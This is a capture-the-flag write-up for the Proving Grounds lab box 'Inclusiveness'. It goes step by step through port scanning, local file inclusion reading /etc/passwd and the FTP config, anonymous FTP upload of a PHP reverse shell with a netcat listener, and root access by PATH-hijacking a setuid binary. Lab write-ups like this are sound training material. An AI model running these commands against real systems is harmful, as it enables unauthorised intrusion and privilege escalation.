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Inclusiveness

This is my write ups for Inclusiveness (See original submission) on Off-Sec Proving Ground.​

This room is a CTF type of room

I will try to go deep into the technical thing we do in this room.

1. Enum ​

  • Lets start up the box and get the IP

Getting the IP

  • Export the IP to the terminal so we can use it easier
export IP=192.168.197.14

## Test to see if the IP is correct
echo $IP
  • Start the port scan
Port Scan
## Create a directory to store the scan results
mkdir nmap

## Start a default nmap scan
nmap -sC -sV -vvv -oN nmap/default_scan $IP

## Start a rustscan for faster all port scan
rustscan -a $IP -- -oN nmap/rustscan $IP
Rustscan result
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack
  • Since they have a website running, we can take a look and run gobuster to brute force web directory

Visit website

2. Foothold ​

  • We can try to see if this web server have a robots.txt file or not
curl http://$IP/robots.txt
You are not a search engine! You can't read my robots.txt!
  • We can add a header to change the user-agent to a search engine to see if they give us anything
curl -H 'User-Agent: Google' http://$IP/robots.txt
User-agent: *
Disallow: /secret_information/
  • Lets visit this new web directory that we just find

Visit new website

  • From the url we can see that this could be a local file inclusion vulnerability
curl http://$IP/secret_information/?lang=/etc/passwd
<title>zone transfer</title>

<h2>DNS Zone Transfer Attack</h2>

<p><a href='?lang=en.php'>english</a> <a href='?lang=es.php'>spanish</a></p>

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
tss:x:105:111:TPM2 software stack,,,:/var/lib/tpm:/bin/false
dnsmasq:x:106:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi-autoipd:x:107:114:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:109:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
avahi:x:113:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:114:121::/var/lib/saned:/usr/sbin/nologin
colord:x:115:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:116:123::/var/lib/geoclue:/usr/sbin/nologin
tom:x:1000:1000:Tom,,,:/home/tom:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ftp:x:118:125:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
  • From the rustscan result, we also see that the target running ftp we can check to see if is there anything on the ftp server
ftp -p $IP
Connected to 192.168.197.14.
220 (vsFTPd 3.0.3)
Name (192.168.197.14:minhnq): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
227 Entering Passive Mode (192,168,197,14,252,34).
150 Here comes the directory listing.
drwxr-xr-x    3 0        0            4096 Feb 08  2020 .
drwxr-xr-x    3 0        0            4096 Feb 08  2020 ..
drwxrwxrwx    2 0        0            4096 Feb 08  2020 pub
226 Directory send OK.
ftp> pwd
257 "/" is the current directory
ftp> ls pub
227 Entering Passive Mode (192,168,197,14,23,218).
150 Here comes the directory listing.
226 Directory send OK.
  • There seem to be nothing inside the ftp, try to check to see if we can upload anything to the ftp
<!-- On our machine create a file called try.html with the content -->
<h1>Hello</h1>
## On target ftp
tp> cd pub
250 Directory successfully changed.
ftp> put try.html
local: try.html remote: try.html
227 Entering Passive Mode (192,168,197,14,100,120).
150 Ok to send data.
226 Transfer complete.
15 bytes sent in 0.00 secs (140.8504 kB/s)
ftp>
  • Look like we can upload files to the ftp but which directory that host this ftp on the target machine ? We don't know yet, but we can find it with the local file inclusion vulnerability we found earlier.
Read the ftp config file
curl http://$IP/secret_information/?lang=/etc/vsftpd.conf

# Example config file /etc/vsftpd.conf
#
# The default compiled in settings are fairly paranoid. This sample file
# loosens things up a bit, to make the ftp daemon more usable.
# Please see vsftpd.conf.5 for all compiled in defaults.
#
# READ THIS: This example file is NOT an exhaustive list of vsftpd options.
# Please read the vsftpd.conf.5 manual page to get a full idea of vsftpd's
# capabilities.
#
#
# Run standalone?  vsftpd can run either from an inetd or as a standalone
# daemon started from an initscript.

anon_umask=000

listen=NO
#
# This directive enables listening on IPv6 sockets. By default, listening
# on the IPv6 "any" address (::) will accept connections from both IPv6
# and IPv4 clients. It is not necessary to listen on *both* IPv4 and IPv6
# sockets. If you want that (perhaps because you want to listen on specific
# addresses) then you must run two copies of vsftpd with two configuration
# files.
listen_ipv6=YES
#
# Allow anonymous FTP? (Disabled by default).
anonymous_enable=YES
#
# Uncomment this to allow local users to log in.
local_enable=YES
#
# Uncomment this to enable any form of FTP write command.
#write_enable=YES
#
# Default umask for local users is 077. You may wish to change this to 022,
# if your users expect that (022 is used by most other ftpd's)
local_umask=022
#
# Uncomment this to allow the anonymous FTP user to upload files. This only
# has an effect if the above global write enable is activated. Also, you will
# obviously need to create a directory writable by the FTP user.
anon_upload_enable=YES
#
# Uncomment this if you want the anonymous FTP user to be able to create
# new directories.
#anon_mkdir_write_enable=YES
#
# Activate directory messages - messages given to remote users when they
# go into a certain directory.
dirmessage_enable=YES
#
# If enabled, vsftpd will display directory listings with the time
# in  your  local  time  zone.  The default is to display GMT. The
# times returned by the MDTM FTP command are also affected by this
# option.
use_localtime=YES
#
# Activate logging of uploads/downloads.
xferlog_enable=YES
#
# Make sure PORT transfer connections originate from port 20 (ftp-data).
connect_from_port_20=YES
#
# If you want, you can arrange for uploaded anonymous files to be owned by
# a different user. Note! Using "root" for uploaded files is not
# recommended!
#chown_uploads=YES
#chown_username=whoever
#
# You may override where the log file goes if you like. The default is shown
# below.
#xferlog_file=/var/log/vsftpd.log
#
# If you want, you can have your log file in standard ftpd xferlog format.
# Note that the default log file location is /var/log/xferlog in this case.
#xferlog_std_format=YES
#
# You may change the default value for timing out an idle session.
#idle_session_timeout=600
#
# You may change the default value for timing out a data connection.
#data_connection_timeout=120
#
# It is recommended that you define on your system a unique user which the
# ftp server can use as a totally isolated and unprivileged user.
#nopriv_user=ftpsecure
#
# Enable this and the server will recognise asynchronous ABOR requests. Not
# recommended for security (the code is non-trivial). Not enabling it,
# however, may confuse older FTP clients.
#async_abor_enable=YES
#
# By default the server will pretend to allow ASCII mode but in fact ignore
# the request. Turn on the below options to have the server actually do ASCII
# mangling on files when in ASCII mode.
# Beware that on some FTP servers, ASCII support allows a denial of service
# attack (DoS) via the command "SIZE /big/file" in ASCII mode. vsftpd
# predicted this attack and has always been safe, reporting the size of the
# raw file.
# ASCII mangling is a horrible feature of the protocol.
#ascii_upload_enable=YES
#ascii_download_enable=YES
#
# You may fully customise the login banner string:
#ftpd_banner=Welcome to blah FTP service.
#
# You may specify a file of disallowed anonymous e-mail addresses. Apparently
# useful for combatting certain DoS attacks.
#deny_email_enable=YES
# (default follows)
#banned_email_file=/etc/vsftpd.banned_emails
#
# You may restrict local users to their home directories.  See the FAQ for
# the possible risks in this before using chroot_local_user or
# chroot_list_enable below.
#chroot_local_user=YES
#
# You may specify an explicit list of local users to chroot() to their home
# directory. If chroot_local_user is YES, then this list becomes a list of
# users to NOT chroot().
# (Warning! chroot'ing can be very dangerous. If using chroot, make sure that
# the user does not have write access to the top level directory within the
# chroot)
#chroot_local_user=YES
#chroot_list_enable=YES
# (default follows)
#chroot_list_file=/etc/vsftpd.chroot_list
#
# You may activate the "-R" option to the builtin ls. This is disabled by
# default to avoid remote users being able to cause excessive I/O on large
# sites. However, some broken FTP clients such as "ncftp" and "mirror" assume
# the presence of the "-R" option, so there is a strong case for enabling it.
#ls_recurse_enable=YES
#
# Customization
#
# Some of vsftpd's settings don't fit the filesystem layout by
# default.
#
# This option should be the name of a directory which is empty.  Also, the
# directory should not be writable by the ftp user. This directory is used
# as a secure chroot() jail at times vsftpd does not require filesystem
# access.
secure_chroot_dir=/var/run/vsftpd/empty
#
# This string is the name of the PAM service vsftpd will use.
pam_service_name=vsftpd
#
# This option specifies the location of the RSA certificate to use for SSL
# encrypted connections.
rsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
rsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
ssl_enable=NO

#
# Uncomment this to indicate that vsftpd use a utf8 filesystem.
#utf8_filesystem=YES
#
# Point users at the directory we created earlier.
anon_root=/var/ftp/
write_enable=YES
#
  • We can see where the files are stored now, we can check to see if it is correct
curl http://$IP/secret_information/?lang=/var/ftp/pub/try.html
<title>zone transfer</title>

<h2>DNS Zone Transfer Attack</h2>

<p><a href='?lang=en.php'>english</a> <a href='?lang=es.php'>spanish</a></p>

<h1>Hello</h1>
  • Now that we confirm that we can upload the files to ftp and then call it, we can upload a reverse shell to the target and make a callback to us.
## On our machine
### Find the php reverse shell
locate php-reverse-shell.php

### Copy it to our working directory
cp /usr/share/webshells/php/php-reverse-shell.php shell.php
REMEMBER

Change the IP and PORT in shell.php to your correct value

  • Now we can upload the shell.php to ftp
ftp -p $IP
Connected to 192.168.197.14.
220 (vsFTPd 3.0.3)
Name (192.168.197.14:minhnq): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd pub
250 Directory successfully changed.
ftp> put shell.php
local: shell.php remote: shell.php
227 Entering Passive Mode (192,168,197,14,123,104).
150 Ok to send data.
226 Transfer complete.
5496 bytes sent in 0.00 secs (194.1257 MB/s)
ftp>
## On our machine
rlwrap nc -nvlp 8888 # This is the port i will use for the reverse shell to callback

## Make callback with curl
curl http://$IP/secret_information/?lang=/var/ftp/pub/shell.php

3. PrivEsc ​

  • After getting the shell we can upgrade it with python or python3
python(3) -c 'import pty;pty.spawn("/bin/bash")';

export TERM=xterm
Upgrade shell
rlwrap nc -nvlp 8888
listening on [any] 8888 ...
connect to [192.168.49.197] from (UNKNOWN) [192.168.197.14] 40296
Linux inclusiveness 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64 GNU/Linux
 18:36:05 up 32 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
python3 -c 'import pty;pty.spawn("/bin/bash")';

www-data@inclusiveness:/$ 
export TERM=xterm
export TERM=xterm
www-data@inclusiveness:/$
  • While looking around we can find a file called rootshell.c that we can use to elevate ourself to root
cd /home/tom

ls -la

ls -la
total 104
drwxr-xr-x 15 tom  tom   4096 Jul 23  2020 .
drwxr-xr-x  3 root root  4096 Feb  8  2020 ..
-rw-------  1 tom  tom    684 Feb  8  2020 .ICEauthority
-rw-r--r--  1 root root     0 Jul 16  2020 .bash_history
-rw-r--r--  1 tom  tom    220 Feb  8  2020 .bash_logout
-rw-r--r--  1 tom  tom   3526 Feb  8  2020 .bashrc
drwx------ 10 tom  tom   4096 Feb  8  2020 .cache
drwx------ 10 tom  tom   4096 Feb  8  2020 .config
drwx------  3 tom  tom   4096 Feb  8  2020 .gnupg
drwx------  3 tom  tom   4096 Feb  8  2020 .local
-rw-r--r--  1 tom  tom    807 Feb  8  2020 .profile
drwx------  2 tom  tom   4096 Feb  8  2020 .ssh
drwxr-xr-x  2 tom  tom   4096 Feb  8  2020 Desktop
drwxr-xr-x  2 tom  tom   4096 Feb  8  2020 Documents
drwxr-xr-x  2 tom  tom   4096 Feb  8  2020 Downloads
drwxr-xr-x  2 tom  tom   4096 Feb  8  2020 Music
drwxr-xr-x  2 tom  tom   4096 Feb  8  2020 Pictures
drwxr-xr-x  2 tom  tom   4096 Feb  8  2020 Public
drwxr-xr-x  2 tom  tom   4096 Feb  8  2020 Templates
drwxr-xr-x  2 tom  tom   4096 Feb  8  2020 Videos
-rwxr-xr-x  1 tom  tom     33 Dec  6 18:06 local.txt
-rwsr-xr-x  1 root root 16976 Feb  8  2020 rootshell
-rw-r--r--  1 tom  tom    448 Feb  8  2020 rootshell.c
  • Read the rootshell.c to see the content of the file
cat rootshell.c

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main() {

    printf("checking if you are tom...\n");
    FILE* f = popen("whoami", "r");

    char user[80];
    fgets(user, 80, f);

    printf("you are: %s\n", user);
    //printf("your euid is: %i\n", geteuid());

    if (strncmp(user, "tom", 3) == 0) {
        printf("access granted.\n");
  setuid(geteuid());
        execlp("sh", "sh", (char *) 0);
    }
}

  • From this we know that the file will check if you are tom or not by open whoami and read the content of it and if you are tom you will get a root shell

  • We will use this to our advantage and exploit the target

cd /tmp

echo "printf "tom"" > whoami

chmod +x whoami

export PATH=/tmp:$PATH

cd /home/tom

./rootshell

id
uid=0(root) gid=33(www-data) groups=33(www-data)
Getting the flags
cat /home/tom/local.txt /root/proof.txt

[REDACTED]
[REDACTED]
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